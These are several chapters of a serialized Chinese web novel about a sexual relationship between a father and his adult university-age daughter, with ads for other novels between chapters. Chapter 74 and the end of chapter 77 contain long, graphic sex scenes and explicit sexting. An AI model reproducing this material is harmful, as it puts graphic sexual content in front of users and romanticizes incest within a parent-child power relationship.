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风情万种 / 2025/09/11 15:38 / 2940 / 88 /
【小说】父女代价

风情万种 / 发表于: 2025/09/12 02:18:58

第七十四章
  已经日上三竿了,遮光窗帘拉得严实,屋内仍然是一室昏暗。裴芙摸到他胸口的汗一点点滑下来,滴落在地板上、她的身上。
  她觉得小腹发涨,动作之间一腔的精水好像都在肚子里晃,而裴闵还在往里捣,一手掐着她脖子一手在她紧紧夹住的腿间揉蹭勃起的阴蒂。
  “夹这么紧……”他闷闷地哼了一声,接着抽出性器跪了下去,张嘴伸舌头往那狼藉的肉逼里一埋,啧啧有声地开始为她口交。
  男人的舌苔比女孩子的要略微粗糙一点,像动物一样带着一点摩擦感。
  他用舌面卷过她细嫩的小阴唇,舌尖往上一顶,戳开淫蒂外头的薄薄皮肉,迫使最脆弱的那一点儿肉芽探出尖来,赤红的一粒红豆珠,被他供奉在舌尖轻吮慢咋,他的眼睛是低低垂着的,看上去极其认真又虔诚的姿态,专注地吃她的嫩逼。
  酥麻的被吮吸感从身下传来,大脑皮层疲惫到麻木,传感却越来越清晰。
  裴芙的眼皮眼眶早就在一次又一次的情潮里哭得红肿,染着桃色的面颊仍然止不住地轻轻颤抖、抽噎,她的大腿一条被架上他的肩膀,背后是冰冷的落地窗,冷气硌着蝴蝶骨往脊柱上爬,可是身下被他玩得发烫,腿想夹也夹不拢,所有挣扎都只能徒劳地把阴户往他唇边蹭。
  她的水一股股往外挤,而他对准穴口一吸,喉结一动就全吞咽了下去。
  裴芙怀疑自己的体液是否是壮阳补品,不然裴闵的那根驴货怎么越涨越硬,越翘越高?
  他明明情动至极,一整根性器都轻轻跳动颤抖,马眼分泌出淫水顺着龟头系带往下滑,可他却在操干正欢时抽离,没来由地开始舔她。
  她不懂裴闵。
  她的手抓着他的头发,几乎整个坐在他的脸上,压迫得太紧,他的鼻尖顶着肿胀的阴蒂,头颅往下低一低就滑到山根,抬一点,就碰到人中、柔软的嘴唇,复又被他含入唇间抚慰。
  他的舌头玩够了阴蒂,往下一探堵住那淌蜜流浆的穴口,不再是吸,而是用舌头在小眼儿上画了几圈,舔舔松了再一把将舌头插进去。
  柔软的舌头在穴内乱转,舔弄她体内敏感的软肉,又模仿着性交抽插,进行一场彻彻底底的舌奸。
  裴芙的两条腿都打着颤,整个人越来越轻,尖锐的快感逐渐变得柔软酥麻。
  她哆哆嗦嗦地高潮了,内壁收缩着把作乱的舌头排挤出去,换来的却是更坚硬的肉刃侵犯。
  裴芙被他压在窗玻璃上,尚未渡过高潮的敏感肉穴被无情地再次捅入肉棒,裴闵将她一条腿抬起,牵扯着暴露出私处再次分开,方便他肏得更痛快些。
  被玩到绵软的穴肉裹着他的肉棒痉挛收缩,随着疯狂的不停歇肏干,已经愈发乖顺讨好地套着他蠕动。
  男人的大掌按上女孩子柔软的小腹轻轻使力,私处的另一条小径就再也无法闭合隐忍,淅淅沥沥滴下透明的水液。
  已经不是第一次被搞成这样了。裴闵得意地问:“乖乖,你这是怎么了呀?”
  怎么了?小乖…一边接吻,还要在高潮中迷蒙不情不愿地小声哼,说是被爸爸操尿了。
  她现在乖得不行,极困倦地任人摆布,软软伏在他的臂膀中等待结束。
  裴闵太厉害,她甚至怀疑他是嗑壮阳药才能如此威风……还真是夜夜做处女,回回被开苞。
  裴闵射完了,鸡巴一抽心满意足地看着被灌满的穴里流出浓稠白精。
  他身上没有半点贤者模式的毛病,做完了还是贴着裴芙要亲要抱的,接着还得按照惯例带她去洗澡。
  他自打前天情人节夜里把裴芙耍懵了,就一发不可收拾,粘在她身上痴缠不休。裴芙嘴唇都破掉,涂上唇膏又被他吮出甜腥味。
  让人又疼又爽的狗东西。
  裴芙轻轻咬着裴闵的脖子,带着点报复意味。
  他是恨不得夜夜交公粮,头天晚上奋力耕耘第二天居然还能神清气爽去上班,反倒是裴芙被榨得憔悴,吸他的精水也没补到一点好处,只能自己给自己开两罐燕窝当糖水喝。
  裴闵给她洗得干净又仔细,热水澡缓解了一点儿酸痛乏力,裴芙精神起来,擦干水就挣脱裴闵的桎梏,跑去客厅坐在蒲团上开电脑写稿。
  她在学校的新媒体中心有一份差事,隔三差五要写推文,此外还在尝试着给各种公众号、杂志投稿。
  裴闵白天不在家,她就抓紧时间敲字,一到晚上又要被扛到床上去收公粮,好生凄惨。
  裴闵其实是因为她要开学了才黏得紧,尤其是一联想她返校难免又让别的男孩子惦记……
  他心里有许多低劣想法,像自然界中的雄性动物一样,把裴芙标记、沾满自己的味道。
  不管那些个狂蜂浪蝶怎么往裴芙身上扑,裴芙可是他的女儿,他们睡过的——还睡过很多次。
  他们想破脑袋,定也想不出来裴芙究竟芳心暗许哪一位。
  虽然一晌贪欢误了时辰,裴闵还是不能旷工。他把早午餐给做好了,吃完以后他去公司、裴芙睡午觉。
  可是裴芙睡得不安稳。
  前一阵子聊天提到西双版纳那一回,裴芙脑子里又忍不住想起了庄辛仪那档子事。
  她已经从自己的生活里缺席了很长一段时间,这是非常尴尬的困境。
  她一直没有想清楚应该怎么再去面对庄辛仪,在毫无联系的时间里,甚至考虑过是否应该放弃——但这个想法很快就被否决。
  可是要怎么办呢?
  裴芙和裴闵之间的关系不会改变,庄辛仪背负着这个秘密,就算表面上恢复了交往,心里还是会有芥蒂,也不知以后要怎么相处。
  裴芙还在纠结这件事,反倒是庄辛仪发了消息来问,要不要去她家。裴芙手指在屏幕上犹疑不定,搓了半天玻璃,最后发了一个好字。
  她去之前还是没忍住和裴闵说了这件事,得到的只有四字谏言:顺其自然。
  裴闵作为一个真正的大人,站在他的立场,当然是能断则断,大家都是很默契地不再联系。
  但对裴芙来说,庄辛仪是最好的朋友——虽然年龄差有点大,但忘年交也比父女畸恋听上去更健康合理。
  逃避不是万能的。裴芙长长叹了口气。
  裴闵弄了个手提袋给裴芙,让她去庄辛仪家拜访的时候捎过去,里头也不是什么贵重东西,一些曲奇坚果之类的点心,串门不空手,这是教养规矩,不能乱。
  裴芙没让裴闵送,怕庄辛仪看见了吃不消。自己提着袋子,小红帽似的出门了-
  裴闵在家里从天光等到黑,总算把裴芙等回来。他在玄关接住裴芙,感觉她把全身重量都扑向自己,他险些没接住,往后小小踉跄一下。
  “……她…你们说了什么?”裴闵心里始终紧绷着,胸腔里那颗心跳得又快又沉,每一次鼓动都那么清晰。
  他觉得手脚有些僵,还发着冷。又要来了,这种讨厌的感觉。把隐秘的关系撕开给别人看……庄辛仪怎么想的?说了什么,伤到她没有?
  要扼制住那种让牙关战栗的软弱并不简单。
  怀里那颗脑袋抬起来了,裴芙的神情平静而疲惫。
  “她什么也没有说。”她缓慢地说,“她什么也没有说。”
  极力自然地吃了饭,谁都没有挑明这件事。
  从前总觉得只要不去面对,一些事态就不会变得更糟,就像是碗柜里已然倾倒的盘子,只要不打开柜门就不会跌坠。
  可是谁都知道,谁都易碎。
  裴芙从来没有如此清晰而强烈地触碰到这条分界线,悖德的代价。
  ……她想,这样的钝痛,裴闵也在承担。
  她觉得身心俱疲,裴闵的手环住腰背将她轻轻圈在怀里,很久很久没有说话。
  她闭上眼睛,心想,今天真是一场苦味的梦啊。
  “……爸爸,如果可以重来,你会不会选……”
  “我没得选。”裴闵打断了她的问题。他声音低沉、沙哑,裴芙闻到了一点烟味。
  “……只要你要我,我就没得选。”
  天完全黑了,但谁都没动,就在黑暗里拥着,体温都透过衣服融成一气。
  “你抽烟了。”
  “没抽,我点了没抽,就只闻了一下。”裴闵把衣服扯向鼻尖嗅了嗅,“是有点味道。”
  “真的?”裴芙手勾着他后颈摁下来一点儿,踮脚亲了上去。她咬他的下唇,用舌尖濡湿他微凉干燥的唇瓣,再轻轻顶进去,碰他的舌尖。
  没有烟味。裴芙含糊地夸他好乖。
  裴闵握着她的腰把她抬起来一点,又托着她的臀,让裴芙慢慢攀在了自己腰上。
  “爸爸……”她被亲得有些窒息,裴闵沿着下颌往下轻轻舔,咬她的脖子。
  “我爱你。”她说。
  她回想起庄辛仪握紧的手、绷到发白的指关节,她究竟忍下了什么没有对她说呢?
  她不想知道了。
  她只要裴闵。
  裴闵听见她说“我要你”,可是,要他这个人和要做爱,哪个意思的占比更大一点?
  她攀在他身上,像一条纤细灵巧的白蛇。两条腿盘在他腰上,腰肢柔软妩媚地摇荡,用腿心那儿磨他裤裆里已经勃起的阴茎。
  失控了。
  他就地把她压在客厅的墙角里,在墙和男体围构的狭小空间里中,裴芙敞开自己如同敞开一只蚌壳,她只想要和他做爱,把脑子里的一切都挤出去。
  她什么都不想记得,她只想整个浸泡在他的爱里,被他致密环绕。
  裴闵吸肿了两颗小小的乳尖,边揉阴蒂边往柔嫩的宫口顶,成股拉丝的淫水顺着腿根一直往下淌。
  裴闵射精的时候一直盯着她的脸,看她被操到痴媚的脸,在被内射时产生的微妙变化。她张开的唇、探出的舌尖,向他索取一个漫长深吻。
  他射完以后并不会立刻软掉,甚至还能硬着再干一小轮。他就着精液的润滑,再一次挤进她温暖的身体。
  他轻轻叫她,宝宝,宝宝。
  他在昏黑里也能分辨出自己留下了不少吻痕,她马上又要返校了,他却控制不住自己的心和嘴唇。
  不安松懈,只余下酸软疲劳的回味。
  这段不伦之恋,是两人三足过独木桥。他们绑在一起,命运相连。
  他想,我把你抢过来了。像你对我做的那样,我也把你从既定的正轨上又一次抢过来了。
  我的红色小图钉,我的骨中骨,肉中肉。
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乡村如此多娇
伙夫
周平本是一个平凡小村医,可是村里的俊寡妇,总喜欢上门找他治病…… 水兰溪:“周平,今晚上来嫂子家给嫂子治一治吧?” 周平:“兰溪嫂子,快让我歇一歇吧,这个星期都八回了!” ...

风情万种 / 发表于: 2025/09/12 02:23:56

第七十五章
  在家里缠了最后几天,裴芙拉着二十六寸行李箱从家里出发去机场,裴闵开车送她去。
  停车场的车内,最后一点私人空间时间,裴闵在帮她亲掉眼泪。
  平时情绪那么平稳,一到要分开就哭个不停,裴闵拿她又没办法,只能哄着,和她轻轻接吻,把眼泪都吞下去。
  “不哭了……怎么还和上次一样,我到时候去看你,莫哭了。”裴闵把她哭得发烫的脸捧起来,眼神却有一点虚焦。
  他眉骨之下眼眶深邃,笼在一片暗色阴影里。
  只有眼珠底下一点亮,压着睫毛轻轻颤着。
  “我拿你没办法,再哭下次你就自己坐磁浮到机场,我不送你了。”
  裴芙哭得打嗝,本来她没想哭的。
  中午的飞机,从早上开始两个人的气氛就很微妙,分开之前谁都不愿意把不舍说出口,索性闭口不言,一个上午都很沉默,偶尔的交谈甚至称得上干涩。
  这种难受哽在喉头,直到上车终于变成眼泪宣泄出来。
  裴闵开车,她就坐在副驾驶上往窗外偏头,用纸巾把即将溢出眼眶的眼泪压住吸干,一次又一次。
  她听见裴闵轻轻的抽气声,好像也流了眼泪,被他很快抬腕揩掉了。
  裴芙想起自己写过很多关于他的文字,记录一些细节,全存在手机一个上锁的软件里。
  她文笔好,要真写起东西来,文采斐然词藻秾丽,押韵和对仗都精美,甚至不需要苦心经营。
  而一写到裴闵,她却只用一些最基础的词句,朴素、平实地复刻他言行举止,试图用文字封存他的眼神和动作;或者写连篇梦话,全是自己的感官知觉接受到的抽象体验;她怕自己忘记,偶尔脑子里突然闪过幼时的记忆,也要立刻打字捕捉。
  可就是这些粗糙的记录,陪她撑过每一个看不见他的夜晚。
  在她的心里,有一个房间,依赖自己的记忆和那些文字构造,裴闵就住在里面。
  他在里面睡觉、处理工作、看书、把玩水晶杯子……每当分别,她就轻轻分出一部分的自己,呆在里面。
  她把副驾的镜子拉下来看,眼皮有一点肿,但还好。快到时间了,裴闵从后备箱把行李箱拿下来,带着她往入口走。
  “落地了给爸爸打个电话,到学校再打一个,手机不要调静音。”裴闵把她帽檐下乱翘的一缕头发别到耳后去,“好好照顾自己,多吃点,想买什么自己买,花钱不用问。”
  他不想再说了,怕再说下去眼眶红了嗓子也颤了。
  一个大男人老是忍不住眼泪,这才第二个学期,大学有八个学期,算上研究生还有两三年,有得他哭的。
  裴芙拉着行李箱往里走了,她没忍住还是回头了,看见裴闵还站在那儿。他那么高大,太显眼了。
  不行,眼泪又要来了。她在裴闵面前哭不代表她愿意在别人面前哭,深呼吸好长一段时间,勉强忍住。
  她身边多是返校的大学生,大家几乎都是结伴的,排队过安检的时候叽叽喳喳,聚在一起喝不能带上飞机的饮料。
  她一个人。一个人在飞机上昏昏欲睡,一个人坐十三号线,一个人把行李扛上寝室。
  两个月无人居住的寝室内,呼吸都是灰尘的味道。打开行李箱的时候,淡淡的、薰衣草洗衣液的香味飘了出来。
  裴芙想,原来这里面还封存了一点从家里带过来的空气。她抱起睡衣把脸埋进去,蹲在敞开的行李箱面前,很久都没有站起。
  --

史上最强炼气期
李道然
修炼了将近五千年的方羽,还是没有突破炼气期……“我真的只有炼气期,但你们别惹我!”

风情万种 / 发表于: 2025/09/12 02:29:09

第七十六章
  开学第一个月,裴芙忙得脚不沾地。
  开学考、文艺评论写作比赛、给学校新媒体中心供稿……她只恨不能人间蒸发、睡在图书馆才好。
  直到熬过去了,站在室友的体重秤上一看,恍恍惚惚意识到又瘦四斤,整个人都要被风吹走一样轻脆。
  裴闵是很有自觉的,他不打搅裴芙的正事,只每晚发一条百来字的微信汇报自己一日行程,告诉她自己吃到了什么好餐馆,等她回来了可以带她一起去吃。
  裴芙学习的时候习惯了关机或者调静音模式。
  她到晚上九点出自习室,回寝室的路有些长,这时候就会打开微信看看置顶的聊天框,把他的信息读完,再视情况打个电话,把自己三五日的事情挑拣些有意思的和他说。
  裴闵只是听,嗯嗯两声再叮嘱她记得吃饱穿暖,很典型的家长腔调,话风一拐,又说:“那你想不想我?”
  “想的。”
  中文系要读的东西多,费眼睛,也费神。
  人的专注力总有限度,她读半个钟头就得休息一小会儿,闭着眼睛或者看着窗外发呆,脑子里不想别的,只想裴闵。
  或许要归因到她活得过于简单的缘故。除了读书,她心里要琢磨的就是裴闵。
  她不太清楚裴闵是什么情况,不过应该也八九不离十,离了孩子就得过且过。
  裴闵没对她过多提过自己的工作生活,也没透露近来的一桩困扰。
  诚然,对于露水情缘来说,他算是极其优质的条件。
  无论是社交场还是生活中,都时常被异性青睐示好。
  曾经也有过大胆直白的女性,在酒局上同他私语,说他看上去就很会做,这是最露骨的话。
  裴闵近几年都委婉推拒,女方也都知情知趣,只在心里暗暗叹息。
  这回不一样,遇上个不易打发的,差点翻了船。
  原本是生意上有交集,对方是国内头部食品公司来接洽的项目经理,姓江,长得极美艳动人,应酬时红白啤的都来,实在海量。
  裴闵难以招架,醉得半透了,只想称胃痛发作赶紧回家,他腿脚不稳,有人给他搭了把手,结果一扶就扶上酒店套间。
  裴闵迷迷瞪瞪看见有人走过来,她一头长发松了发髻,直直披散下来,背着光身形居然神似裴芙。
  裴闵喝晕也知道这会儿裴芙绝不可能在此处,恰好酒店开窗通风,春季乍暖还寒,冰凉的夜风吹进来,他一激灵,酒都醒了一半。
  荒唐!他翻身起来,头重脚轻往外走,江经理和没骨头的妖精一样从后头圈住他的腰,身子软而热地贴着他,让他留下来。
  “裴总,”她说,“外头冷,这么晚了,你留下来睡一夜吧。”
  “我得走了。”他本质不是粗暴的人,这会儿还维持客气。
  这位江小姐业务能力突出,私生活做派是她自己的事。
  他呼出一口酒气,转过身来把她轻轻推开了,“我们不要把生意搞得太复杂。我这边,再压一压,调低半个百分点。”
  “……你也好交代。不要…不要用这样的方法。我是做爸爸的人……我有个女儿…快二十岁了。我答应过她的。”
  他是喝醉了酒才会说这些无关的家事。
  这些年他不仅做水晶杯,同时手里还握着一个中等规模的玻璃厂,做工艺水准相对较低的玻璃制品。
  这次承制集团旗下两个品牌的赠品碗杯,原本是简单的产品,只是价格问题耽误了进度,他今晚亲自来谈,没想到出这样的闹剧。
  他不清楚江小姐葫芦里卖的什么药,她要用这档子事来做要挟也好,谈条件也罢,总归是趁他之危,极不厚道。
  他已经留足了面子,最后说:“我回家了,明天敲定吧,这事耽误不得了。”
  江小姐在后头似乎还想说什么,他等了等她,听见一句:“你说话算话,再降半个百分点。”
  他嗯了一声,心想她到底还是个三好员工,董事长是应该给她涨点奖金的。
  裴闵以为此事就此了结,没想到第二天签完字,江小姐又单独留下来,和他说:“我昨天晚上……不是为了谈拢价格,我是真的喜欢你。”
  “江小姐,你糊涂了。幸好什么都没发生,今天才能把事情妥当办完。这件事我不会说出去,也请你不要再想。”裴闵表面上还稳着,心里已经五味杂陈。
  换做他风流时期,是不会拒绝这样的好事的。
  可惜现在一颗心全掏给裴芙,眼睛里心里都容不下旁人,是再也不想多看多说,关门送客。
  送走了集团的几尊大佛,他简直心力交瘁,宿醉难受,想念裴芙煮的白粥。
  他把没对裴芙提起这件事,两个人异地,难免不安,别惹她分心耽误学习。
  再说了,他的魅力还需要靠异性的追求来衬托么?
  人家又不是工具人。
  他坐在老板椅上转圈,拧开保温杯喝了几口温水。
  今天的工作已经处理完毕,他要早退。
  他哪儿也不想去,只想缩在裴芙那张小床上踏踏实实睡一觉。
  裴芙这一个月早出晚归,实在没有多余的精力思考旁务,还是好一阵子才发现寝室里氛围十分不对劲。
  寝室一共四个人,关系比较淡,不算特别亲近,有种“君子之交淡如水”的意味。
  她这天挂了裴闵的电话,回了寝室突然察觉发现气氛诡异。
  之前有开学考,大家都在自习室或者寝室看书复习,安静是有理由的。
  可如今,到十一点约定熄灯时间,这寝室里居然没有人说话交谈,实在不正常。
  裴芙不太爱掺和纠纷,她忙起来的时候对于外部环境自带钝感,仔细回想,这么安静总得有几天了。
  她发了个微信给对床李梦瑶问问情况,相对来说裴芙和她比较熟,应该能探听到消息。
  “是于心周末早起吵到刘文慧了,文慧有起床气,把娃娃摔下床,和于心说让她别吵,她不睡别人要睡。”
  “这样。那她们两个就不说话了?”裴芙问。
  李梦瑶回复了一个点头的表情:“四天了,她们两个不讲话,偶尔各自和我说一两句。你平时不在寝室,我想着你最近准备写作大赛就没和你说。估计过两天就好了也说不准。”
  “好,我知道了。”
  裴芙大概了解了情况,觉得这事自己实在不宜插手,索性拉上帘子睡自己的大觉。寝室就是个睡觉的地方,她不愿意让这些事情干扰自己。
  正如李梦瑶预测的,过了两天寝室里气氛松弛下来,可能是私下里有沟通,又恢复了表面上的平静和睦。
  她把这件事当成无关紧要的谈资说给裴闵听,裴闵说她做得很对,不要冲上去做和事佬,没准还会波及自身,两头不是人。
  裴芙其实没什么事好讲了,她每天的生活过得如此无趣,看书、练笔、写作业,除了教室就是图书馆。
  一开始还能说说吃了什么新鲜菜,一个多学期过去,她已经把食堂吃了个七七八八,如今回归平淡,只吃均价十元内的普通自选菜。
  总不可能对着裴闵说自己今天看了多少篇范文、多少篇作品吧。她自己就连想起来都烦,更别提谈了。
  裴芙顿了很久,她抬头看天,没有星星,也没有云,只是一片被光污染的深色。此刻她突然觉得很不快乐,并且意识到了根源所在。
  因为她的心不在这里。
  大学,是知理明德的地方。
  所有人来到这儿,是承载了期望、满怀着梦想,要做学问贡献的。
  而她却只想回到巢穴里去,回自己那一隅之地,无论是被父亲庇护还是成为他的羽翼。
  裴闵听见电话那头久久的沉默,只有环境的杂音和裴芙轻微的呼吸。
  “宝宝,”他说:“没事了吗?不想说了就挂电话。”
  “…不是,”裴芙喃喃:“爸爸,我就是…我就是突然不知道自己在做什么。”
  “嗯。”
  “我好像很忙,对吧?我有很多事要做。从小到大,你一直说我非常有耐心、有目标,而且很沉得住气,一定会把事情做好。”
  裴芙找了个长椅坐下,接着说:“但是我不知道我在做什么,很多事情不是我选择的。只是它们交到了我的手上。就像课本,我拿到了它,我就学习;试卷发下来,我就去做它……我很认真地完成了这些任务,可是不知道我究竟在追求什么东西。我想成为什么?我以后要做什么职业?我都不知道……我好像也只会读书。”
  “那就读书吧。”裴闵说:“你知道吗?人生是有主线任务和支线任务的。”
  “我们要学习走路说话,然后接受教育……虽说我们的教育教育存在分支,大家会通向不同的地方,但是总归来说,人生前半段时间,接受学校的教育是主流的道路。你在走这条路,千千万万的孩子也在走,大家都是这样一边做主线任务一边探索支线任务的。”
  “也许某一天你触发到了关键的人物,比如我,我们相爱了,这样就会影响你的主线任务。”说到这里,他忍不住顿了顿,然后轻轻笑了,“……你会想家,会想我,不过也许你会从中得到成长,你学会了怎么爱一个人。这是会引导你走向下一个阶段的。”
  “没有无意义的人生选择,芙芙。你现在所做的一切都是为了把你引导到……”
  “到游戏的结局去。”裴芙接话。她突然想明白了,如同游戏一样,主线任务、随即触发的内容,错综复杂构成人生。
  “嗯!”
  它是阶梯式的,一级接着一级的。
  “我只要做好手头的事情,下一个任务就会来的?”
  “没错,你立刻就想明白了,对不对?大学还有三年,你可以慢慢想。即使到了我这个年纪,想法和计划也一直在变化。”
  裴闵说:“二十岁的时候我想当大老板,三十岁的时候我想做一个好爸爸,现在……”
  “现在?”
  “现在我想……”裴闵一时想不出什么名词,躺在床上抓耳挠腮,最后讲出了一句很肉麻的话:“我想好好爱你。”
  “啊……”裴芙也一激灵,一方面觉得麻得慌,另一方面也很是受用。裴闵讲得甜蜜而踏实,她几乎可以想象他的表情。
  她说:“我想明白了。”
  “什么?”
  “不告诉你。”
  她想,我要成为一个更值得你爱的人。
  裴闵当然会说,无论如何他都会爱她,因为被爱的时候不必聪明漂亮,只求心意相通。
  可是她想要的爱,不仅仅是因为是女儿的缘故。
  中学学过的诗,写两棵树的爱情,是根交缠在地下,叶相触在云里。

乡村如此多娇
伙夫
周平本是一个平凡小村医,可是村里的俊寡妇,总喜欢上门找他治病…… 水兰溪:“周平,今晚上来嫂子家给嫂子治一治吧?” 周平:“兰溪嫂子,快让我歇一歇吧,这个星期都八回了!” ...

风情万种 / 发表于: 2025/09/12 02:41:11

第七十七章
  春天是在一抬头间到来的。
  裴芙手里拿着一迭打印好的A4稿纸,要交到指导老师那里去。这是最后一次修改了。
  她已经做好了长谈半小时的准备,没想到三分钟后就从办公室里逃出来,导师和学长不知道为什么吵了起来,吓得她把文章一递,唯恐殃及池鱼,立刻从科研处跑了出来。
  她停下了匆匆的脚步,长久驻足在一棵花树下。
  仰着头看,白色的花朵细碎盎然地压满枝头,风吹过来还是冷的,却不再刺骨了。
  打印稿上吹落了一小片花瓣,她小心地倒在掌心里,又从包里找了本厚专业书夹进去。
  深呼吸、深呼吸。她试图让自己回到松弛的状态里去,就在这样难得的好天气里感受时节的交替。
  呼吸里确实是有植物散发的味道了。
  春天的花香和草腥并没有被扼杀在干燥的空气中,她站在北方的土地上,想起南方湿润而绵长的春雨。
  可在家里念书的时候,明明最讨厌春天。
  朝冬午夏,滴水回潮……如今离家远了,这些恼人的事情居然也变成缠绵的乡愁。
  “裴芙!”宁为青远远看到她,和随行的伙伴打了个招呼,朝她走来。
  “啊,这还是这个学期第一次见你呢。最近在忙什么?”宁为青现在可是历史系的风云人物,听说在学生会里也很有些人望。
  他的性格在这些社团组织活动里磨得开朗了些,没有高中那种仙子似的感觉了。
  不过在宁为青看来,裴芙身上那股子仙劲是越来越浓了。
  “好巧啊。我没做什么……写点文章什么的,你知道的。我听蒋师姐说了,你搞不好又要在学生会捞个官当当。”
  “嗯——锻炼一下吧?顺其自然。”宁为青笑了,小声说:“你别因为我当官就看不起我啊。”
  “怎么会。欸,你那些同学在那边没走,你先和他们去吧?”
  “啊,他们…就看热闹吧。”宁为青返头一看,果然那三四个同学在那头嘻嘻笑着偷看,八卦得很,“你别在意。那我先过去了,之后再聊。”
  “拜拜。”
  裴芙走出几步,忽然若有所感地回头,看见和宁为青一行的一个女生也在返头看她。
  啊呀。
  她心里有种敏锐的直觉,那女生八成喜欢宁为青的,刚刚讲话的时候也总是她在看自己,脸上不全是八卦的表情。
  她看那女生长得挺好看的,温温柔柔的样子……他俩要是能成也挺好的。
  不过这也轮不到她掺和。
  裴芙估摸着差不多到饭点了,就跑去食堂吃了麻辣香锅。她没有饭搭子,就自己一个人,吃饭的时候会配点纪录片或者动画片来看。
  别说饭搭子,就连朋友也几乎没有。裴芙有那么几个还算聊得来的,但是关系总是淡淡的,谈不上十分好。
  走得近就会有矛盾、有竞争就有利益冲突。她从小习惯了一个人独来独往,做事踏实稳当,极少出风头,这都是为了避免不必要的麻烦。
  中学的时候大家都穿校服,省实里也不好攀比之风,顶多不过是买了新的运动鞋、买了几支进口的笔,可到了大学不一样。
  大学实在是太复杂了,大家来自不同的地区、不同的家庭,既有占尽优势资源从小接受精英教育的,也有削尖了脑袋从高考大省小县城跃龙门的寒门状元。
  要玩到一起,除了性格要合得来,也有现实因素的考量,朋友之间消费水平要基本相当。
  裴芙寝室里有个贫困户出身的女孩,出身贫寒又考进了顶尖的学府,是个高自尊、高敏感的人。
  几次寝室出游都因为这个室友产生了不太好的体验,实在心力交瘁。
  裴芙的家境和长相本就已经是一手极好的牌,要加上足够的低调、踏实、温和才可以不被视作眼中钉和挡路石。
  她带来学校的全都是没什么品牌标识的东西,大家穿什么她穿什么,省去一系列思考和纠结,也能免去不必要、潜在的麻烦。
  她之前也和裴闵说过这些问题,裴闵捏着她的脸左右上下仔仔细细看了一遍,最后长叹息:“可是我乐意花钱给你打扮漂漂亮亮的,你到了学校里真是明珠蒙尘……”
  裴芙恨得咬他,她给自己买优衣库还要纠结一番价格,裴闵一件衬衫比她一身都贵,一个男人穿这么好做什么?
  眼下刚好到了换季,也该去看看买些春装了。接下来半天没有课,她出了校门搭地铁去商场买衣服。
  她在地铁上给裴闵发消息:“我要去买春天穿的衣服了。”
  裴闵秒回一个转账。
  裴芙也没什么心理负担就接收了:“买完了拍给你看。”
  裴闵:嗯嗯。
  裴芙觉得只要裴闵工作一忙起来,他对待自己的态度也会越发地温柔而宽和起来;这并不是敷衍的意思,或许是工作中的沉稳情绪也波及生活,总之她能够感受到那种微妙的区别。
  比如他发过来转账和“嗯嗯”这两个字,如果是在清闲松弛的时间,就会扩写为“宝宝边买边和我视频呀,我给你参谋一下”,外加拆分开来的、天女散花似的小额红包若干。
  这是裴闵的兴趣,红包发的金额少、数量多,幻想她是松鼠捡果仁一样,把那些小红包一个一个点开收着。
  在此过程中,还能增加对话文本量与时长。
  但是现在他忙了,就没有这样的闲心逗她了。裴芙在拥挤的地铁里,被无名的寂寞惆怅裹挟。
  她很快安慰自己振作起来,拿上刚刚到手的资金,在快消店很克制地买了两件基础的打底长袖,又看到夏款上市,试到一件杏色的无袖上衣,是风琴褶的,夏天穿应该很清爽好看。
  随后吃了麦当劳、喝了一杯奶茶,本来决定回学校了,路过一家内衣店,又神使鬼差走了进去。过了半小时后走出来,手上的袋子鼓了一点儿。
  她买了一套内衣,没要纸袋打包,毕竟还要提回学校,拎在手上有些太招摇了,就放进了之前买的衣服袋子里,内衣也不占什么位置。
  当晚,裴闵躺在床上收到了裴芙的消息:“在家里吗?”
  “刚刚到家,躺着呢。”
  “我给你看我今天买的衣服。”
  裴闵从床上弹坐起来,在卧室里左右徘徊了两圈,猛地往卫生间里去了。
  他之前买的飞机杯洗干净了还在那儿晾着,他得去拿。
  裴芙发来一张照片,她穿了新买的内衣,躲在浴室里拍照。浅粉色的法式蕾丝半包,微微透肉,非常非常……纯情的漂亮。
  裴芙平时内衣穿得素,难得买点儿带蕾丝的。裴闵把那张照片翻来覆去地放大,下腹起火的同时狠狠打下一行字:“你是不是又瘦了?”
  裴芙又发过去一张照片,她开了花洒,水把衣服淋得半透。
  这会儿把胸衣往下拉了拉。
  她的胸看着好似大了些,内衣聚拢包裹得又圆又挺,两团挤在一块儿看着很软,被她自己摸得泛红变硬的奶头期期艾艾地从蕾丝边缘探出来,水珠坠在奶尖儿上,悬而未滴的样子像唾液也像奶水,让人恨不得用唇舌去接、把那奶头细细嘬吸干净、舔红咬肿,吃得她发颤发浪。
  裴闵往飞机杯里挤润滑的动作熟练得让他自己心疼,他佩服自己这岁数了还如此生龙活虎,有些老东西怕是吃了药都硬不起来了,而他就算阳痿硬不起来看到这几张照片也能射三炮。
  另一头裴芙和开直播似的,又吐了几张出来。
  她是趁着洗澡在干这些事,连带着裴闵都有种隐秘的刺激感。
  她把内裤往一边拨,露出被包裹沾湿的饱满阴户,鼓鼓的肉逼前头突出一点嫩红芽尖,是她已经揉硬的阴蒂。
  隔着屏幕好像没有那么羞耻,裴芙擦了擦手上的水,问他好不好看。
  裴闵回得简短:“嗯。”
  裴芙又发了两个字:干我。
  粗浅直白,野得冲破她乖巧静美的皮囊,直直地往裴闵心上一挠。
  裴闵觉得自己也要疯,晕乎极了,情欲上脑的时候又没来由感受到被爱和被信任的幸福。
  他走进浴室开了淋浴,任热水把自己淋湿,他还裹着衬衫西裤——他知道裴芙最不能拒绝这个,正装熟男的诱惑啊……那,再解开几颗扣子呢?
  把乳头弄凸呢?
  他把浴室镜子上的水雾随意一擦,给裴芙打了视频。
  裴芙吓得半死,在浴室里急匆匆开了静音,接通以后看见裴闵的样子,呼吸一窒。
  他衣衫湿透,领口大敞,衬衫紧紧贴着他的肌肤,勾勒出摄人心魄的肌肉沟壑,深色乳头贴着衬衫凸起……再往下看,他把飞机杯扔了,要她直观地看他,一只大手握住尺寸可观的性器温吞而撩人地抚慰。
  裴芙忍不住轻轻吞咽了一下。
  肉穴深处泛起酸涩的饥渴感受,她塞在肉唇间揉动阴蒂的手指忍不住向更深的地方探索,只是抚摸了几下穴口,湿滑的粘液就迫不及待地涌着挤出来,沾满指尖,随着水流向下流淌。
  女性的生殖器生得如此美丽而含蓄,她轻轻抚慰几下,视觉冲击远不及裴闵那头劲爆。
  裴闵把手机摄像头凑得更近,他的肉体因为性欲而紧绷,手臂下腹浮现出性感的筋脉,连同那兴奋不已的、微微跳动的粗长肉棒……
  他的肉棒在手机镜头下显得如此粗硕情色,蓬勃的色气如同浴室里蒸腾的水雾,她的目光几乎黏在上面,痴迷地看它,它的膨胀,它的脉络,它圆硕的肉冠正滴落情动的黏液,被裴闵的手指收集,抹在阴茎之上。
